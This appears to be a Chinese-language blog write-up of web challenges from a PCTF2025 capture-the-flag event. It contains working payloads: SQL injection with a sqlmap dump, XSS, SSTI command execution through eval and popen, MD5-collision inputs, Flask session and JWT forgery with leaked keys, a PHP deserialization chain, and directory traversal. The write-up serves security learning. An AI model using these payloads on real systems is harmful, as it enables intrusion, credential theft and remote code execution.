
sql_in
手工注入:
1 | 1'order by 4 |
sqlmap
1 | python .\sqlmap.py -r .\post.txt -D pctf2025 -T users --dump --batch |
拿到管理员用户名密码,直接登录即可

复读机
一眼XSS
1 | "</textarea><img src="x" onerror="alert(1)"><textarea> |
md,怎么没有flag

试试SSTI
1 | {{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}} |
可以,但是找了一圈没有flag,vulfocus的flag一般在环境变量里,我们看一下env或者/usr/bin/env

what_is_jsfuck

相当于JSfuck编码,这里没有找到解码工具,但是控制台直接执行就是解码后的结果,比如这里

EZPHP
爆破一梭子数字,找到是114514

拿到源码
1 |
|
一眼文件包含,直接写马

1 | http://challenge.imxbt.cn:31960/?number=114514&action=include |
php_with_md5
1 |
|
PAYLOAD
1 | http://challenge.imxbt.cn:32449/?begin=1&a=QNKCDZO&b=240610708&c=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2&d=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2 |
Do_you_know_session?
利用flask-session-cookie脚本,先解密看一下{"username":"guest"}
提示admin,但是这里伪造需要拿到key,如何获取key呢,既然是flask,考ssti的可能性巨大,搜索框发现ssti,直接{{2*2}}回显4,{{config}}能拿到key

1 | python .\flask_session_cookie_manager3.py encode -s "1919810#mistyovo@foxdog@lzz0403#114514" -t '{\"username\":\"admin\"}' |
成功构造session,flag还是在环境变量/proc/self/environ

unserialize
真tm又臭又长,整一堆没用的类
1 |
|
首先,以目的为导向,目的是读取flag.php,ReadFile类中有一个file_get_contents可以用于读取文件
然后寻找入口,反序列化漏洞通常从自动触发的魔术方法开始,最常见的是 __destruct() 或 __wakeup()。 在这个源码中,Middleware 类拥有一个非常适合作为起点的 __destruct() 方法
接下来,需要其他类来把Middleware和ReadFile连接起来,Middleware 会调用 $next->run()。我们在代码中寻找带有 run() 方法的类,发现 TaskRunner 有这个方法,因此,我们把 Middleware 的 $next 属性实例化为 TaskRunner 对象。
TaskRunner::run() 会执行 call_user_func($this->task)。如果我们将 $this->task 赋值为一个对象,call_user_func 会尝试将该对象作为函数调用,这在 PHP 中会自动触发该对象的 __invoke() 魔术方法。 我们在代码中寻找带有 __invoke() 的类,找到了 FileHandler,因此,我们把 TaskRunner 的 $task 属性实例化为 FileHandler 对象。
从 FileHandler 到 ReadFile: FileHandler::__invoke() 会调用 $this->source->getFileContent()
完整的 POP 链路径:
1 | Middleware::__destruct() -> TaskRunner::run() -> FileHandler::__invoke() -> ReadFile::getFileContent() |
然后改大属性值,绕过 __wakeup() 的执行
然后开始编写EXP,先把前几个没用的类删掉,然后开始提取
1 |
|
开始实例化对象
1 | // 1. 实例化终点,并设定目标文件名 |
将其转换为字符串格式
1 | $serialize_str = serialize($middleware); |
神秘商店
全角注册admin,登录进去即可,int整数溢出到-50即可,用这个脚本跑一下
1 | import sys |
ez_upload
看一下指纹,发现是flask框架,尝试读一下app.py或者server.py
1 | import os |
发现render_template_string,那么我们可以通过upload功能,改写某个文件,来触发ssti,比如这里可以通过:
templates/index.html(最简单,覆盖后直接访问主页/即可触发)
templates/upload.html(覆盖后访问/upload触发)
templates/file_view.html(覆盖后访问/file?file=uploads/随便一个文件名.txt触发)
这里发现这几个文件都不在当前目录下,难怪刚刚读不到,并且程序强制加上了 uploads 文件夹路径file_path = os.path.join(UPLOAD_FOLDER, filename),所以要目录穿越一下,这里有替换,可以复写绕过,比如....//或者..././

直接访问首页即可
这里复习一下ssti常用payload
1 | 1、任意命令执行 |
Jwt_password_manager
给源码了,源码里给了key,直接编码一下拿到token即可

1 | eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjAyZWUxZTYwLTE4MjQtNDBhZC1iZGUyLWFlMTU1MjQ2MTc5ZCIsInVzZXJuYW1lIjoiYWRtaW4ifQ.8Tpfj5hs4GTTk2yhUveJZxlfc-sBIQpsuR1ZtT_fMZ4 |

We_will_rockyou
花里胡哨,就一爆破题,响应特别慢,好在爆出来了

more /f*

- Post title: PCTF2025_WEB
- Create time: 2026-03-17 11:37:29
- Post link: 2026/03/17/PCTF2025/
- Copyright notice: All articles in this blog are licensed under BY-NC-SA unless stating additionally.